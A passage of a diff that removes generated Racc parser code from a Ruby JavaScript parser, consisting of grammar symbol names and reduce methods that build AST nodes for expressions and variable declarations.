-  "Literal",
-  "Property",
-  "AssignmentExpr",
-  "FunctionBody",
-  "FormalParameterList",
-  "PropertyList",
-  "PrimaryExpr",
-  "PrimaryExprNoBrace",
-  "ArrayLiteral",
-  "Expr",
-  "ElisionOpt",
-  "ElementList",
-  "Elision",
-  "MemberExpr",
-  "FunctionExpr",
-  "Arguments",
-  "MemberExprNoBF",
-  "NewExpr",
-  "NewExprNoBF",
-  "CallExpr",
-  "CallExprNoBF",
-  "ArgumentList",
-  "LeftHandSideExpr",
-  "LeftHandSideExprNoBF",
-  "PostfixExpr",
-  "PostfixExprNoBF",
-  "UnaryExprCommon",
-  "UnaryExpr",
-  "UnaryExprNoBF",
-  "MultiplicativeExpr",
-  "MultiplicativeExprNoBF",
-  "AdditiveExpr",
-  "AdditiveExprNoBF",
-  "ShiftExpr",
-  "ShiftExprNoBF",
-  "RelationalExpr",
-  "RelationalExprNoIn",
-  "RelationalExprNoBF",
-  "EqualityExpr",
-  "EqualityExprNoIn",
-  "EqualityExprNoBF",
-  "BitwiseANDExpr",
-  "BitwiseANDExprNoIn",
-  "BitwiseANDExprNoBF",
-  "BitwiseXORExpr",
-  "BitwiseXORExprNoIn",
-  "BitwiseXORExprNoBF",
-  "BitwiseORExpr",
-  "BitwiseORExprNoIn",
-  "BitwiseORExprNoBF",
-  "LogicalANDExpr",
-  "LogicalANDExprNoIn",
-  "LogicalANDExprNoBF",
-  "LogicalORExpr",
-  "LogicalORExprNoIn",
-  "LogicalORExprNoBF",
-  "ConditionalExpr",
-  "ConditionalExprNoIn",
-  "AssignmentExprNoIn",
-  "ConditionalExprNoBF",
-  "AssignmentOperator",
-  "AssignmentExprNoBF",
-  "ExprNoIn",
-  "ExprNoBF",
-  "VariableDeclarationList",
-  "VariableDeclaration",
-  "VariableDeclarationListNoIn",
-  "VariableDeclarationNoIn",
-  "Initializer",
-  "InitializerNoIn",
-  "ConstDeclarationList",
-  "ConstDeclaration",
-  "ExprNoInOpt",
-  "ExprOpt",
-  "CaseBlock",
-  "CaseClausesOpt",
-  "DefaultClause",
-  "CaseClauses",
-  "CaseClause" ]
-
-Racc_debug_parser = true
-
-##### State transition tables end #####
-
-# reduce 0 omitted
-
-module_eval(<<'.,.,', 'parser.y', 42)
-  def _reduce_1(val, _values, result)
-     result = SourceElementsNode.new([]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 43)
-  def _reduce_2(val, _values, result)
-     result = SourceElementsNode.new([val].flatten) 
-    result
-  end
-.,.,
-
-# reduce 3 omitted
-
-module_eval(<<'.,.,', 'parser.y', 47)
-  def _reduce_4(val, _values, result)
-     result = val.flatten 
-    result
-  end
-.,.,
-
-# reduce 5 omitted
-
-# reduce 6 omitted
-
-# reduce 7 omitted
-
-# reduce 8 omitted
-
-# reduce 9 omitted
-
-# reduce 10 omitted
-
-# reduce 11 omitted
-
-# reduce 12 omitted
-
-# reduce 13 omitted
-
-# reduce 14 omitted
-
-# reduce 15 omitted
-
-# reduce 16 omitted
-
-# reduce 17 omitted
-
-# reduce 18 omitted
-
-# reduce 19 omitted
-
-# reduce 20 omitted
-
-# reduce 21 omitted
-
-# reduce 22 omitted
-
-module_eval(<<'.,.,', 'parser.y', 75)
-  def _reduce_23(val, _values, result)
-     result = NullNode.new(val.first) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 76)
-  def _reduce_24(val, _values, result)
-     result = TrueNode.new(val.first) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 77)
-  def _reduce_25(val, _values, result)
-     result = FalseNode.new(val.first) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 78)
-  def _reduce_26(val, _values, result)
-     result = NumberNode.new(val.first) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 79)
-  def _reduce_27(val, _values, result)
-     result = StringNode.new(val.first) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 80)
-  def _reduce_28(val, _values, result)
-     result = RegexpNode.new(val.first) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 85)
-  def _reduce_29(val, _values, result)
-          result = PropertyNode.new(val[0], val[2])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 87)
-  def _reduce_30(val, _values, result)
-     result = PropertyNode.new(val.first, val.last) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 88)
-  def _reduce_31(val, _values, result)
-     result = PropertyNode.new(val.first, val.last) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 90)
-  def _reduce_32(val, _values, result)
-          klass = property_class_for(val.first)
-      yyabort unless klass
-      result = klass.new(val[1], FunctionExprNode.new(nil, val[5]))
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 95)
-  def _reduce_33(val, _values, result)
-          klass = property_class_for(val.first)
-      yyabort unless klass
-      result = klass.new(val[1], FunctionExprNode.new(nil, val[6], val[3]))
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 102)
-  def _reduce_34(val, _values, result)
-     result = val 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 103)
-  def _reduce_35(val, _values, result)
-     result = [val.first, val.last].flatten 
-    result
-  end
-.,.,
-
-# reduce 36 omitted
-
-module_eval(<<'.,.,', 'parser.y', 108)
-  def _reduce_37(val, _values, result)
-     result = ObjectLiteralNode.new([]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 109)
-  def _reduce_38(val, _values, result)
-     result = ObjectLiteralNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 110)
-  def _reduce_39(val, _values, result)
-     result = ObjectLiteralNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 114)
-  def _reduce_40(val, _values, result)
-     result = ThisNode.new(val.first) 
-    result
-  end
-.,.,
-
-# reduce 41 omitted
-
-# reduce 42 omitted
-
-module_eval(<<'.,.,', 'parser.y', 117)
-  def _reduce_43(val, _values, result)
-     result = ResolveNode.new(val.first) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 118)
-  def _reduce_44(val, _values, result)
-     result = ParentheticalNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 122)
-  def _reduce_45(val, _values, result)
-     result = ArrayNode.new([] + [nil] * val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 123)
-  def _reduce_46(val, _values, result)
-     result = ArrayNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 125)
-  def _reduce_47(val, _values, result)
-          result = ArrayNode.new(val[1] + [nil] * val[3])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 131)
-  def _reduce_48(val, _values, result)
-          result = [nil] * val[0] + [ElementNode.new(val[1])]
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 134)
-  def _reduce_49(val, _values, result)
-          result = [val[0], [nil] * val[2], ElementNode.new(val[3])].flatten
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 139)
-  def _reduce_50(val, _values, result)
-     result = 0 
-    result
-  end
-.,.,
-
-# reduce 51 omitted
-
-module_eval(<<'.,.,', 'parser.y', 144)
-  def _reduce_52(val, _values, result)
-     result = 1 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 145)
-  def _reduce_53(val, _values, result)
-     result = val.first + 1 
-    result
-  end
-.,.,
-
-# reduce 54 omitted
-
-# reduce 55 omitted
-
-module_eval(<<'.,.,', 'parser.y', 151)
-  def _reduce_56(val, _values, result)
-     result = BracketAccessorNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 152)
-  def _reduce_57(val, _values, result)
-     result = DotAccessorNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 153)
-  def _reduce_58(val, _values, result)
-     result = NewExprNode.new(val[1], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 59 omitted
-
-module_eval(<<'.,.,', 'parser.y', 159)
-  def _reduce_60(val, _values, result)
-          result = BracketAccessorNode.new(val[0], val[2])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 161)
-  def _reduce_61(val, _values, result)
-     result = DotAccessorNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 162)
-  def _reduce_62(val, _values, result)
-     result = NewExprNode.new(val[1], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 63 omitted
-
-module_eval(<<'.,.,', 'parser.y', 167)
-  def _reduce_64(val, _values, result)
-     result = NewExprNode.new(val[1], ArgumentsNode.new([])) 
-    result
-  end
-.,.,
-
-# reduce 65 omitted
-
-module_eval(<<'.,.,', 'parser.y', 172)
-  def _reduce_66(val, _values, result)
-     result = NewExprNode.new(val[1], ArgumentsNode.new([])) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 176)
-  def _reduce_67(val, _values, result)
-     result = FunctionCallNode.new(val[0], val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 177)
-  def _reduce_68(val, _values, result)
-     result = FunctionCallNode.new(val[0], val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 178)
-  def _reduce_69(val, _values, result)
-     result = BracketAccessorNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 179)
-  def _reduce_70(val, _values, result)
-     result = DotAccessorNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 183)
-  def _reduce_71(val, _values, result)
-     result = FunctionCallNode.new(val[0], val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 184)
-  def _reduce_72(val, _values, result)
-     result = FunctionCallNode.new(val[0], val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 185)
-  def _reduce_73(val, _values, result)
-     result = BracketAccessorNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 186)
-  def _reduce_74(val, _values, result)
-     result = DotAccessorNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 190)
-  def _reduce_75(val, _values, result)
-     result = ArgumentsNode.new([]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 191)
-  def _reduce_76(val, _values, result)
-     result = ArgumentsNode.new(val[1]); 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 195)
-  def _reduce_77(val, _values, result)
-     result = val 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 196)
-  def _reduce_78(val, _values, result)
-     result = [val[0], val[2]].flatten 
-    result
-  end
-.,.,
-
-# reduce 79 omitted
-
-# reduce 80 omitted
-
-# reduce 81 omitted
-
-# reduce 82 omitted
-
-# reduce 83 omitted
-
-module_eval(<<'.,.,', 'parser.y', 211)
-  def _reduce_84(val, _values, result)
-     result = PostfixNode.new(val[0], '++') 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 212)
-  def _reduce_85(val, _values, result)
-     result = PostfixNode.new(val[0], '--') 
-    result
-  end
-.,.,
-
-# reduce 86 omitted
-
-module_eval(<<'.,.,', 'parser.y', 217)
-  def _reduce_87(val, _values, result)
-     result = PostfixNode.new(val[0], '++') 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 218)
-  def _reduce_88(val, _values, result)
-     result = PostfixNode.new(val[0], '--') 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 222)
-  def _reduce_89(val, _values, result)
-     result = DeleteNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 223)
-  def _reduce_90(val, _values, result)
-     result = VoidNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 224)
-  def _reduce_91(val, _values, result)
-     result = TypeOfNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 225)
-  def _reduce_92(val, _values, result)
-     result = PrefixNode.new(val[1], '++') 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 228)
-  def _reduce_93(val, _values, result)
-     result = PrefixNode.new(val[1], '--') 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 231)
-  def _reduce_94(val, _values, result)
-     result = UnaryPlusNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 232)
-  def _reduce_95(val, _values, result)
-     result = UnaryMinusNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 233)
-  def _reduce_96(val, _values, result)
-     result = BitwiseNotNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 234)
-  def _reduce_97(val, _values, result)
-     result = LogicalNotNode.new(val[1]) 
-    result
-  end
-.,.,
-
-# reduce 98 omitted
-
-# reduce 99 omitted
-
-# reduce 100 omitted
-
-# reduce 101 omitted
-
-# reduce 102 omitted
-
-module_eval(<<'.,.,', 'parser.y', 249)
-  def _reduce_103(val, _values, result)
-     result = MultiplyNode.new(val[0],val[2])
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 250)
-  def _reduce_104(val, _values, result)
-     result = DivideNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 251)
-  def _reduce_105(val, _values, result)
-     result = ModulusNode.new(val[0], val[2])
-    result
-  end
-.,.,
-
-# reduce 106 omitted
-
-module_eval(<<'.,.,', 'parser.y', 256)
-  def _reduce_107(val, _values, result)
-     result = MultiplyNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 257)
-  def _reduce_108(val, _values, result)
-     result = DivideNode.new(val[0],val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 258)
-  def _reduce_109(val, _values, result)
-     result = ModulusNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 110 omitted
-
-module_eval(<<'.,.,', 'parser.y', 263)
-  def _reduce_111(val, _values, result)
-     result = AddNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 264)
-  def _reduce_112(val, _values, result)
-     result = SubtractNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 113 omitted
-
-module_eval(<<'.,.,', 'parser.y', 269)
-  def _reduce_114(val, _values, result)
-     result = AddNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 270)
-  def _reduce_115(val, _values, result)
-     result = SubtractNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 116 omitted
-
-module_eval(<<'.,.,', 'parser.y', 275)
-  def _reduce_117(val, _values, result)
-     result = LeftShiftNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 276)
-  def _reduce_118(val, _values, result)
-     result = RightShiftNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 277)
-  def _reduce_119(val, _values, result)
-     result = UnsignedRightShiftNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 120 omitted
-
-module_eval(<<'.,.,', 'parser.y', 282)
-  def _reduce_121(val, _values, result)
-     result = LeftShiftNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 283)
-  def _reduce_122(val, _values, result)
-     result = RightShiftNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 284)
-  def _reduce_123(val, _values, result)
-     result = UnsignedRightShiftNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 124 omitted
-
-module_eval(<<'.,.,', 'parser.y', 289)
-  def _reduce_125(val, _values, result)
-     result = LessNode.new(val[0], val[2])
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 290)
-  def _reduce_126(val, _values, result)
-     result = GreaterNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 291)
-  def _reduce_127(val, _values, result)
-     result = LessOrEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 292)
-  def _reduce_128(val, _values, result)
-     result = GreaterOrEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 293)
-  def _reduce_129(val, _values, result)
-     result = InstanceOfNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 294)
-  def _reduce_130(val, _values, result)
-     result = InNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 131 omitted
-
-module_eval(<<'.,.,', 'parser.y', 299)
-  def _reduce_132(val, _values, result)
-     result = LessNode.new(val[0], val[2])
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 300)
-  def _reduce_133(val, _values, result)
-     result = GreaterNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 301)
-  def _reduce_134(val, _values, result)
-     result = LessOrEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 302)
-  def _reduce_135(val, _values, result)
-     result = GreaterOrEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 304)
-  def _reduce_136(val, _values, result)
-     result = InstanceOfNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 137 omitted
-
-module_eval(<<'.,.,', 'parser.y', 309)
-  def _reduce_138(val, _values, result)
-     result = LessNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 310)
-  def _reduce_139(val, _values, result)
-     result = GreaterNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 311)
-  def _reduce_140(val, _values, result)
-     result = LessOrEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 312)
-  def _reduce_141(val, _values, result)
-     result = GreaterOrEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 314)
-  def _reduce_142(val, _values, result)
-     result = InstanceOfNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 315)
-  def _reduce_143(val, _values, result)
-     result = InNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 144 omitted
-
-module_eval(<<'.,.,', 'parser.y', 320)
-  def _reduce_145(val, _values, result)
-     result = EqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 321)
-  def _reduce_146(val, _values, result)
-     result = NotEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 322)
-  def _reduce_147(val, _values, result)
-     result = StrictEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 323)
-  def _reduce_148(val, _values, result)
-     result = NotStrictEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 149 omitted
-
-module_eval(<<'.,.,', 'parser.y', 329)
-  def _reduce_150(val, _values, result)
-     result = EqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 331)
-  def _reduce_151(val, _values, result)
-     result = NotEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 333)
-  def _reduce_152(val, _values, result)
-     result = StrictEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 335)
-  def _reduce_153(val, _values, result)
-     result = NotStrictEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 154 omitted
-
-module_eval(<<'.,.,', 'parser.y', 341)
-  def _reduce_155(val, _values, result)
-     result = EqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 342)
-  def _reduce_156(val, _values, result)
-     result = NotEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 344)
-  def _reduce_157(val, _values, result)
-     result = StrictEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 346)
-  def _reduce_158(val, _values, result)
-     result = NotStrictEqualNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 159 omitted
-
-module_eval(<<'.,.,', 'parser.y', 351)
-  def _reduce_160(val, _values, result)
-     result = BitAndNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 161 omitted
-
-module_eval(<<'.,.,', 'parser.y', 357)
-  def _reduce_162(val, _values, result)
-     result = BitAndNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 163 omitted
-
-module_eval(<<'.,.,', 'parser.y', 362)
-  def _reduce_164(val, _values, result)
-     result = BitAndNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 165 omitted
-
-module_eval(<<'.,.,', 'parser.y', 367)
-  def _reduce_166(val, _values, result)
-     result = BitXOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 167 omitted
-
-module_eval(<<'.,.,', 'parser.y', 373)
-  def _reduce_168(val, _values, result)
-     result = BitXOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 169 omitted
-
-module_eval(<<'.,.,', 'parser.y', 379)
-  def _reduce_170(val, _values, result)
-     result = BitXOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 171 omitted
-
-module_eval(<<'.,.,', 'parser.y', 384)
-  def _reduce_172(val, _values, result)
-     result = BitOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 173 omitted
-
-module_eval(<<'.,.,', 'parser.y', 390)
-  def _reduce_174(val, _values, result)
-     result = BitOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 175 omitted
-
-module_eval(<<'.,.,', 'parser.y', 396)
-  def _reduce_176(val, _values, result)
-     result = BitOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 177 omitted
-
-module_eval(<<'.,.,', 'parser.y', 401)
-  def _reduce_178(val, _values, result)
-     result = LogicalAndNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 179 omitted
-
-module_eval(<<'.,.,', 'parser.y', 407)
-  def _reduce_180(val, _values, result)
-     result = LogicalAndNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 181 omitted
-
-module_eval(<<'.,.,', 'parser.y', 413)
-  def _reduce_182(val, _values, result)
-     result = LogicalAndNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 183 omitted
-
-module_eval(<<'.,.,', 'parser.y', 418)
-  def _reduce_184(val, _values, result)
-     result = LogicalOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 185 omitted
-
-module_eval(<<'.,.,', 'parser.y', 424)
-  def _reduce_186(val, _values, result)
-     result = LogicalOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 187 omitted
-
-module_eval(<<'.,.,', 'parser.y', 429)
-  def _reduce_188(val, _values, result)
-     result = LogicalOrNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 189 omitted
-
-module_eval(<<'.,.,', 'parser.y', 435)
-  def _reduce_190(val, _values, result)
-          result = ConditionalNode.new(val[0], val[2], val[4])
-    
-    result
-  end
-.,.,
-
-# reduce 191 omitted
-
-module_eval(<<'.,.,', 'parser.y', 442)
-  def _reduce_192(val, _values, result)
-          result = ConditionalNode.new(val[0], val[2], val[4])
-    
-    result
-  end
-.,.,
-
-# reduce 193 omitted
-
-module_eval(<<'.,.,', 'parser.y', 449)
-  def _reduce_194(val, _values, result)
-          result = ConditionalNode.new(val[0], val[2], val[4])
-    
-    result
-  end
-.,.,
-
-# reduce 195 omitted
-
-module_eval(<<'.,.,', 'parser.y', 456)
-  def _reduce_196(val, _values, result)
-          result = val[1].new(val.first, val.last)
-    
-    result
-  end
-.,.,
-
-# reduce 197 omitted
-
-module_eval(<<'.,.,', 'parser.y', 463)
-  def _reduce_198(val, _values, result)
-          result = val[1].new(val.first, val.last)
-    
-    result
-  end
-.,.,
-
-# reduce 199 omitted
-
-module_eval(<<'.,.,', 'parser.y', 470)
-  def _reduce_200(val, _values, result)
-          result = val[1].new(val.first, val.last)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 475)
-  def _reduce_201(val, _values, result)
-     result = OpEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 476)
-  def _reduce_202(val, _values, result)
-     result = OpPlusEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 477)
-  def _reduce_203(val, _values, result)
-     result = OpMinusEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 478)
-  def _reduce_204(val, _values, result)
-     result = OpMultiplyEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 479)
-  def _reduce_205(val, _values, result)
-     result = OpDivideEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 480)
-  def _reduce_206(val, _values, result)
-     result = OpLShiftEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 481)
-  def _reduce_207(val, _values, result)
-     result = OpRShiftEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 482)
-  def _reduce_208(val, _values, result)
-     result = OpURShiftEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 483)
-  def _reduce_209(val, _values, result)
-     result = OpAndEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 484)
-  def _reduce_210(val, _values, result)
-     result = OpXOrEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 485)
-  def _reduce_211(val, _values, result)
-     result = OpOrEqualNode 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 486)
-  def _reduce_212(val, _values, result)
-     result = OpModEqualNode 
-    result
-  end
-.,.,
-
-# reduce 213 omitted
-
-module_eval(<<'.,.,', 'parser.y', 491)
-  def _reduce_214(val, _values, result)
-     result = CommaNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 215 omitted
-
-module_eval(<<'.,.,', 'parser.y', 496)
-  def _reduce_216(val, _values, result)
-     result = CommaNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-# reduce 217 omitted
-
-module_eval(<<'.,.,', 'parser.y', 501)
-  def _reduce_218(val, _values, result)
-     result = CommaNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 507)
-  def _reduce_219(val, _values, result)
-          result = BlockNode.new(val[1])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 514)
-  def _reduce_220(val, _values, result)
-          result = VarStatementNode.new(val[1])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 518)
-  def _reduce_221(val, _values, result)
-          result = VarStatementNode.new(val[1])
-      debug(result)
-      yyabort unless allow_auto_semi?(val.last)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 525)
-  def _reduce_222(val, _values, result)
-     result = val 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 527)
-  def _reduce_223(val, _values, result)
-          result = [val.first, val.last].flatten
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 532)
-  def _reduce_224(val, _values, result)
-     result = val 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 534)
-  def _reduce_225(val, _values, result)
-          result = [val.first, val.last].flatten
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 539)
-  def _reduce_226(val, _values, result)
-     result = VarDeclNode.new(val.first, nil) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 540)
-  def _reduce_227(val, _values, result)
-     result = VarDeclNode.new(val.first, val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 544)
-  def _reduce_228(val, _values, result)
-     result = VarDeclNode.new(val[0],nil) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 545)
-  def _reduce_229(val, _values, result)
-     result = VarDeclNode.new(val[0], val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 550)
-  def _reduce_230(val, _values, result)
